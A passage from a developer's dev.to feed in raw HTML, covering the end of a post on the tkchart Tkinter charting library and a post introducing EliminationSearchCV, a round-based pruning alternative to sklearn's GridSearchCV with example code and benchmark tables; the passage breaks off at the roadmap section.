   &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;configure_color&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;#ff6b9d&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
   &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;configure_fill&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;enabled&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Pointer with callback&lt;/strong&gt;: An optional hover pointer shows interpolated values 
at cursor position and fires a user-supplied callback function — so you can 
wire it to a label or trigger an action based on which data point is hovered.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  One Thing That Surprised Me
&lt;/h2&gt;

&lt;p&gt;The &lt;code&gt;show_data()&lt;/code&gt; call accepts a list, not a single value. I intended this to &lt;br&gt;
support batch inserts — you can push multiple data points in one call, and the &lt;br&gt;
chart will render them all in sequence.&lt;/p&gt;

&lt;p&gt;The tricky part: when multiple &lt;code&gt;Line&lt;/code&gt; objects share the same &lt;code&gt;LineChart&lt;/code&gt;, their &lt;br&gt;
data lengths need to stay synchronized for the X-axis to remain coherent. The &lt;br&gt;
chart uses the maximum data length across all lines as its internal clock. If one &lt;br&gt;
line accumulates data faster than another, the slower line's visible portion gets &lt;br&gt;
padded implicitly.&lt;/p&gt;

&lt;p&gt;This means callers have to be deliberate about calling &lt;code&gt;show_data()&lt;/code&gt; at consistent &lt;br&gt;
rates across all lines if they want correct synchronization. It works well when all &lt;br&gt;
lines are driven from the same loop (the common case), but it's a real footgun if &lt;br&gt;
you have two independent threads pushing to two separate lines at different intervals.&lt;/p&gt;

&lt;p&gt;I haven't found a clean solution that doesn't add per-line timestamps and complicate &lt;br&gt;
the rendering model significantly. For now, the docs recommend keeping all &lt;br&gt;
&lt;code&gt;show_data()&lt;/code&gt; calls inside a single loop.&lt;/p&gt;




&lt;h2&gt;
  
  
  What's Next
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Bar chart support&lt;/strong&gt;: The &lt;code&gt;LineChart&lt;/code&gt; architecture is canvas-based enough that 
adding a &lt;code&gt;BarChart&lt;/code&gt; class is feasible. The axis and label system could be shared.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Export&lt;/strong&gt;: A method to snapshot the current canvas state to a PNG. The 
&lt;code&gt;tk.Canvas.postscript()&lt;/code&gt; method gets close but requires an extra conversion step.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Typed stubs&lt;/strong&gt;: The codebase predates type hints. Adding &lt;code&gt;.pyi&lt;/code&gt; stub files would 
make autocomplete and mypy integration much better.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Call to Action
&lt;/h2&gt;

&lt;p&gt;The design decision I'm least certain about: &lt;strong&gt;the &lt;code&gt;Line&lt;/code&gt;-as-descriptor pattern&lt;/strong&gt; &lt;br&gt;
where &lt;code&gt;Line&lt;/code&gt; holds style but &lt;code&gt;LineChart&lt;/code&gt; owns all rendering. It keeps the rendering &lt;br&gt;
logic centralized, but it means &lt;code&gt;Line&lt;/code&gt; objects are inert outside the context of their &lt;br&gt;
parent chart.&lt;/p&gt;

&lt;p&gt;An alternative would be to make &lt;code&gt;Line&lt;/code&gt; a proper canvas actor that draws itself — &lt;br&gt;
closer to how matplotlib's &lt;code&gt;Artist&lt;/code&gt; hierarchy works. That would allow lines to be &lt;br&gt;
moved between charts, but it would also scatter the rendering logic.&lt;/p&gt;

&lt;p&gt;If you've designed a similar multi-series chart component — in any language or &lt;br&gt;
framework — I'd genuinely like to hear which pattern held up better over time: &lt;br&gt;
centralized renderer or autonomous actors.&lt;/p&gt;

&lt;p&gt;GitHub: &lt;a href="https://github.com/thisal-d/tkchart" rel="noopener noreferrer"&gt;https://github.com/thisal-d/tkchart&lt;/a&gt;&lt;br&gt;&lt;br&gt;
PyPI: &lt;a href="https://pypi.org/project/tkchart/" rel="noopener noreferrer"&gt;https://pypi.org/project/tkchart/&lt;/a&gt;  &lt;/p&gt;

&lt;p&gt;PyPI: &lt;code&gt;pip install tkchart&lt;/code&gt;&lt;/p&gt;

</description>
      <category>python</category>
      <category>tkinter</category>
      <category>customtkinter</category>
      <category>opensource</category>
    </item>
    <item>
      <title>[Boost]</title>
      <dc:creator>Thisal Dilmith</dc:creator>
      <pubDate>Fri, 26 Jun 2026 14:58:40 +0000</pubDate>
      <link>https://dev.to/thisald/-m11</link>
      <guid>https://dev.to/thisald/-m11</guid>
      <description>&lt;div class="ltag__link--embedded"&gt;
  &lt;div class="crayons-story "&gt;
  &lt;a href="https://dev.to/thisald/why-gridsearchcv-wastes-most-of-its-time-and-what-i-did-about-it-2cak" class="crayons-story__hidden-navigation-link"&gt;Why GridSearchCV Wastes Most of Its Time — And What I Did About It&lt;/a&gt;


  &lt;div class="crayons-story__body crayons-story__body-full_post"&gt;
    &lt;div class="crayons-story__top"&gt;
      &lt;div class="crayons-story__meta"&gt;
        &lt;div class="crayons-story__author-pic"&gt;

          &lt;a href="/thisald" class="crayons-avatar  crayons-avatar--l  "&gt;
            &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1303377%2F26dc9a05-2faf-434d-9be9-928a3b35c74f.jpg" alt="thisald profile" class="crayons-avatar__image" width="800" height="800"&gt;
          &lt;/a&gt;
        &lt;/div&gt;
        &lt;div&gt;
          &lt;div&gt;
            &lt;a href="/thisald" class="crayons-story__secondary fw-medium m:hidden"&gt;
              Thisal Dilmith
            &lt;/a&gt;
            &lt;div class="profile-preview-card relative mb-4 s:mb-0 fw-medium hidden m:inline-block"&gt;
              
                Thisal Dilmith
                
              
              &lt;div id="story-author-preview-content-3991994" class="profile-preview-card__content crayons-dropdown branded-7 p-4 pt-0"&gt;
                &lt;div class="gap-4 grid"&gt;
                  &lt;div class="-mt-4"&gt;
                    &lt;a href="/thisald" class="flex"&gt;
                      &lt;span class="crayons-avatar crayons-avatar--xl mr-2 shrink-0"&gt;
                        &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1303377%2F26dc9a05-2faf-434d-9be9-928a3b35c74f.jpg" class="crayons-avatar__image" alt="" width="800" height="800"&gt;
                      &lt;/span&gt;
                      &lt;span class="crayons-link crayons-subtitle-2 mt-5"&gt;Thisal Dilmith&lt;/span&gt;
                    &lt;/a&gt;
                  &lt;/div&gt;
                  &lt;div class="print-hidden"&gt;
                    
                      Follow
                    
                  &lt;/div&gt;
                  &lt;div class="author-preview-metadata-container"&gt;&lt;/div&gt;
                &lt;/div&gt;
              &lt;/div&gt;
            &lt;/div&gt;

          &lt;/div&gt;
          &lt;a href="https://dev.to/thisald/why-gridsearchcv-wastes-most-of-its-time-and-what-i-did-about-it-2cak" class="crayons-story__tertiary fs-xs"&gt;&lt;time&gt;Jun 25&lt;/time&gt;&lt;span class="time-ago-indicator-initial-placeholder"&gt;&lt;/span&gt;&lt;/a&gt;
        &lt;/div&gt;
      &lt;/div&gt;

    &lt;/div&gt;

    &lt;div class="crayons-story__indention"&gt;
      &lt;h2 class="crayons-story__title crayons-story__title-full_post"&gt;
        &lt;a href="https://dev.to/thisald/why-gridsearchcv-wastes-most-of-its-time-and-what-i-did-about-it-2cak" id="article-link-3991994"&gt;
          Why GridSearchCV Wastes Most of Its Time — And What I Did About It
        &lt;/a&gt;
      &lt;/h2&gt;
        &lt;div class="crayons-story__tags"&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/python"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;python&lt;/a&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/machinelearning"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;machinelearning&lt;/a&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/datascience"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;datascience&lt;/a&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/opensource"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;opensource&lt;/a&gt;
        &lt;/div&gt;
      &lt;div class="crayons-story__bottom"&gt;
        &lt;div class="crayons-story__details"&gt;
          &lt;a href="https://dev.to/thisald/why-gridsearchcv-wastes-most-of-its-time-and-what-i-did-about-it-2cak" class="crayons-btn crayons-btn--s crayons-btn--ghost crayons-btn--icon-left"&gt;
            &lt;div class="multiple_reactions_aggregate"&gt;
              &lt;span class="multiple_reactions_icons_container"&gt;
                  &lt;span class="crayons_icon_container"&gt;
                    &lt;img src="https://assets.dev.to/assets/sparkle-heart-5f9bee3767e18deb1bb725290cb151c25234768a0e9a2bd39370c382d02920cf.svg" width="24" height="24"&gt;
                  &lt;/span&gt;
              &lt;/span&gt;
              &lt;span class="aggregate_reactions_counter"&gt;2&lt;span class="hidden s:inline"&gt;&amp;nbsp;reactions&lt;/span&gt;&lt;/span&gt;
            &lt;/div&gt;
          &lt;/a&gt;
            &lt;a href="https://dev.to/thisald/why-gridsearchcv-wastes-most-of-its-time-and-what-i-did-about-it-2cak#comments" class="crayons-btn crayons-btn--s crayons-btn--ghost crayons-btn--icon-left flex items-center"&gt;
              

              2&lt;span class="hidden s:inline"&gt;&amp;nbsp;comments&lt;/span&gt;
            &lt;/a&gt;
        &lt;/div&gt;
        &lt;div class="crayons-story__save"&gt;
          &lt;small class="crayons-story__tertiary fs-xs mr-2"&gt;
            4 min read
          &lt;/small&gt;
            
              &lt;span class="bm-initial crayons-icon c-btn__icon"&gt;
                

              &lt;/span&gt;
              &lt;span class="bm-success crayons-icon c-btn__icon"&gt;
                

              &lt;/span&gt;
            
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;/div&gt;


</description>
    </item>
    <item>
      <title>Why GridSearchCV Wastes Most of Its Time — And What I Did About It</title>
      <dc:creator>Thisal Dilmith</dc:creator>
      <pubDate>Thu, 25 Jun 2026 20:16:05 +0000</pubDate>
      <link>https://dev.to/thisald/why-gridsearchcv-wastes-most-of-its-time-and-what-i-did-about-it-2cak</link>
      <guid>https://dev.to/thisald/why-gridsearchcv-wastes-most-of-its-time-and-what-i-did-about-it-2cak</guid>
      <description>&lt;p&gt;If you've ever tuned hyperparameters on a large grid, you know the pain. You kick off a &lt;code&gt;GridSearchCV&lt;/code&gt;, go make coffee, come back, and it's still running. Maybe you go to lunch. Maybe it's still running.&lt;/p&gt;

&lt;p&gt;I got frustrated enough to build something different. It's called &lt;a href="https://github.com/thisal-d/elimination-search-cv" rel="noopener noreferrer"&gt;EliminationSearchCV&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  The Problem with GridSearchCV
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;GridSearchCV&lt;/code&gt; is brute force by design. For a grid with &lt;code&gt;k&lt;/code&gt; parameters and &lt;code&gt;n&lt;/code&gt; values each, it evaluates &lt;strong&gt;nᵏ × cv_folds&lt;/strong&gt; configurations — every single one, regardless of how poorly a value performs early on.&lt;/p&gt;

&lt;p&gt;Here's what that actually means in practice:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Problem&lt;/th&gt;
&lt;th&gt;Impact&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Dead-end values are never discarded&lt;/td&gt;
&lt;td&gt;A bad &lt;code&gt;learning_rate=0.5&lt;/code&gt; is re-evaluated in every downstream combination&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;No learning from early results&lt;/td&gt;
&lt;td&gt;The search treats round 1 and round 1000 as equally uninformed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Exponential cost scaling&lt;/td&gt;
&lt;td&gt;Adding one new 4-value parameter can &lt;strong&gt;quadruple&lt;/strong&gt; total training time&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The last point is the killer. Your grid doesn't have to be huge for this to hurt — it just has to grow.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Idea: Eliminate Instead of Enumerate
&lt;/h2&gt;

&lt;p&gt;What if instead of evaluating everything upfront, we tested parameter values in rounds — and dropped the bad ones before they compound?&lt;/p&gt;

&lt;p&gt;That's &lt;code&gt;EliminationSearchCV&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;It works like this:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Round 1:&lt;/strong&gt; Test each parameter value &lt;em&gt;in isolation&lt;/em&gt;. Score them per-parameter and eliminate the worst performers.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Round 2:&lt;/strong&gt; Test surviving pairs. Rank all combinations globally, keep the top fraction.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Round 3+:&lt;/strong&gt; Repeat with triples, then full combinations, until one winner remains.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Bad values get cut early. They never get the chance to multiply into thousands of useless combinations.&lt;/p&gt;




&lt;h2&gt;
  
  
  A Concrete Example
&lt;/h2&gt;

&lt;p&gt;Let's tune a &lt;code&gt;LogisticRegression&lt;/code&gt; with 4 parameters:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;param_grid&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;C&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;        &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;0.001&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;0.01&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;0.1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;   &lt;span class="c1"&gt;# 6 values
&lt;/span&gt;    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;penalty&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;l1&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;l2&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;                       &lt;span class="c1"&gt;# 2 values
&lt;/span&gt;    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;solver&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;liblinear&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;saga&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;              &lt;span class="c1"&gt;# 2 values
&lt;/span&gt;    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;max_iter&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2000&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;                       &lt;span class="c1"&gt;# 2 values
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;# GridSearchCV: 6 × 2 × 2 × 2 = 48 combos × 5 folds = 240 fits
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With &lt;code&gt;EliminationSearchCV&lt;/code&gt; and &lt;code&gt;elimination_rate=0.8&lt;/code&gt; (keep best 20%):&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Round&lt;/th&gt;
&lt;th&gt;Combos tested&lt;/th&gt;
&lt;th&gt;Grid after elimination&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1 — single params&lt;/td&gt;
&lt;td&gt;12&lt;/td&gt;
&lt;td&gt;&lt;code&gt;C:[1], penalty:['l1'], solver:['liblinear'], max_iter:[1000]&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2 — pairs&lt;/td&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;unchanged (already 1 value each)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3 — triples&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;unchanged&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4 — full&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;final result&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Total&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;23 fits&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;vs 240 for GridSearchCV&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Same best params. A fraction of the work.&lt;/p&gt;




&lt;h2&gt;
  
  
  Drop-in Replacement
&lt;/h2&gt;

&lt;p&gt;The API is intentionally identical to &lt;code&gt;GridSearchCV&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;EliminationSearchCV&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;EliminationSearchCV&lt;/span&gt;

&lt;span class="c1"&gt;# Before
&lt;/span&gt;&lt;span class="n"&gt;search&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;GridSearchCV&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;param_grid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cv&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# After — just swap the class name
&lt;/span&gt;&lt;span class="n"&gt;search&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;EliminationSearchCV&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;estimator&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;param_grid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;param_grid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;scoring&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;accuracy&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;cv&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;elimination_rate&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="c1"&gt;# eliminate worst 80% each round
&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;search&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;X_train&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;y_train&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Same interface as GridSearchCV
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;search&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;best_params_&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# → {'C': 1, 'penalty': 'l1', 'solver': 'liblinear', 'max_iter': 1000}
&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;search&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;best_score_&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# → 0.9248
&lt;/span&gt;
&lt;span class="c1"&gt;# Already refitted on full training set — ready to predict
&lt;/span&gt;&lt;span class="n"&gt;search&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;best_estimator_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;predict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;X_test&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  One Thing I'm Proud Of: Invalid Combo Handling
&lt;/h2&gt;

&lt;p&gt;Sklearn can raise errors for incompatible combinations — like &lt;code&gt;penalty='l1'&lt;/code&gt; with &lt;code&gt;solver='lbfgs'&lt;/code&gt;. GridSearchCV crashes on these. You have to manually filter them out.&lt;/p&gt;

&lt;p&gt;EliminationSearchCV catches any exception during &lt;code&gt;fit()&lt;/code&gt;, scores that combination &lt;code&gt;0.0&lt;/code&gt;, and lets the elimination logic handle it naturally. Invalid combos just die in Round 1. No special handling needed from you.&lt;/p&gt;




&lt;h2&gt;
  
  
  Benchmark Results
&lt;/h2&gt;

&lt;p&gt;Tested across 5 models and 3 datasets (cv=2, elimination_rate=0.8, 10,000 samples):&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Model&lt;/th&gt;
&lt;th&gt;Grid&lt;/th&gt;
&lt;th&gt;Speedup&lt;/th&gt;
&lt;th&gt;Accuracy diff&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;DecisionTree&lt;/td&gt;
&lt;td&gt;Full&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;152x&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;-0.0008&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RandomForest&lt;/td&gt;
&lt;td&gt;Full&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;36x&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;-0.0002&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GradientBoosting&lt;/td&gt;
&lt;td&gt;Full&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;35x&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;-0.0194&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;KNeighbors&lt;/td&gt;
&lt;td&gt;Full&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;11x&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;-0.0004&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LogisticRegression&lt;/td&gt;
&lt;td&gt;Full&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;4x&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;-0.0004&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Full grids are where this shines. The accuracy trade-off is minimal — under 0.02 across all models, often zero.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Honest caveat:&lt;/strong&gt; Light grids (small search spaces) are actually &lt;em&gt;slower&lt;/em&gt; with this approach. The elimination overhead doesn't pay off when there are only a few combinations to begin with. If your grid is small, stick with GridSearchCV.&lt;/p&gt;




&lt;h2&gt;
  
  
  Architecture: How It's Built
&lt;/h2&gt;

&lt;p&gt;The library is two files:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;src/EliminationSearchCV/
├── EliminationSearchCV.py   ← Core class: fit(), elimination logic, scoring
└── Utils.py                 ← Stateless utilities: fold creation, combination generation, metrics
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The flow inside &lt;code&gt;fit()&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;EliminationSearchCV.fit(X, y)
    │
    ├─▶ Utils.create_cv_data_sets()         — StratifiedKFold/KFold splits
    │
    └─▶ [For each round i = 1 … n_params]
             │
             ├─▶ generate_param_combinations_with_limit(grid, limit=i)
             │
             ├─▶ _score_candidates(candidates)
             │         — per-fold metric evaluation
             │
             └─▶ _eliminate_low_scoring_values(candidates, scores)
                       ├─▶ _eliminate_single_param_values()   — Round 1
                       └─▶ _eliminate_multi_param_values()    — Rounds 2+
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A key design decision: in Round 1, each parameter's values are scored and compared &lt;em&gt;in isolation&lt;/em&gt; — so &lt;code&gt;C&lt;/code&gt; values compete only against other &lt;code&gt;C&lt;/code&gt; values, not against &lt;code&gt;penalty&lt;/code&gt; values. This prevents interference between parameters that are on completely different scales.&lt;/p&gt;

&lt;p&gt;In later rounds, all combinations are ranked globally and the top &lt;code&gt;(1 - elimination_rate)&lt;/code&gt; fraction survives.&lt;/p&gt;




&lt;h2&gt;
  
  
  What's Working and What's Not Yet
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Currently supported:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;fit()&lt;/code&gt;, &lt;code&gt;best_params_&lt;/code&gt;, &lt;code&gt;best_score_&lt;/code&gt;, &lt;code&gt;best_estimator_&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Round 1: per-parameter isolation and elimination&lt;/li&gt;
&lt;li&gt;Rounds 2+: global combination ranking&lt;/li&gt;
&lt;li&gt;StratifiedKFold / KFold cross-validation&lt;/li&gt;
&lt;li&gt;Invalid combination handling&lt;/li&gt;
&lt;li&gt;Scoring: &lt;code&gt;accuracy&lt;/code&gt;, &lt;code&gt;precision&lt;/code&gt;, &lt;code&gt;recall&lt;/code&gt;, &lt;code&gt;f1&lt;/code&gt;, &lt;code&gt;roc_auc&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;On the roadmap:&lt;/strong&gt;&lt;/p&gt;

